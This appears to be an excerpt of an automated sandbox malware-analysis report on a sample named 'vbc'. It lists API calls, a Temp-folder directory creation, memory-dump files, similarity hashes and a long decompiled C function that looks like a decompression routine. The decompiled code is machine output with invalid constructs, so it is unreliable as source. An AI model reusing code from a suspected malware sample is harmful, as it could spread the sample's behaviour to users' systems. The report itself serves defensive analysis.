Part of subcall function 00405CE3: CharNextA.USER32(?), ref: 00405D48
Part of subcall function 00405CE3: CharNextA.USER32(?), ref: 00405D4D
Part of subcall function 00405CE3: CharPrevA.USER32(?,?), ref: 00405D5D

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040336F), ref: 00403212

Strings

1033, xrefs: 00403219
C:\Users\user\AppData\Local\Temp\, xrefs: 004031F2, 004031F7, 004031FD, 00403209, 00403211, 00403218

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-1176120985
Opcode ID: 048fde499a06d2c9d784819047d513c4ac368109c0a7a4f8390a920d62fbeaed
Instruction ID: 52f5018bb87fe832e559484150a565c10a299960058697363e648776ae6da385
Opcode Fuzzy Hash: 048fde499a06d2c9d784819047d513c4ac368109c0a7a4f8390a920d62fbeaed
Instruction Fuzzy Hash: 68D0C92164AD3036D551372A3D0AFDF090D9F4272EF21417BF804B50CA5B6C6A8319EF

Uniqueness

Uniqueness Score: -1.00%

Function 00406481 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406481() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M004068EF))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
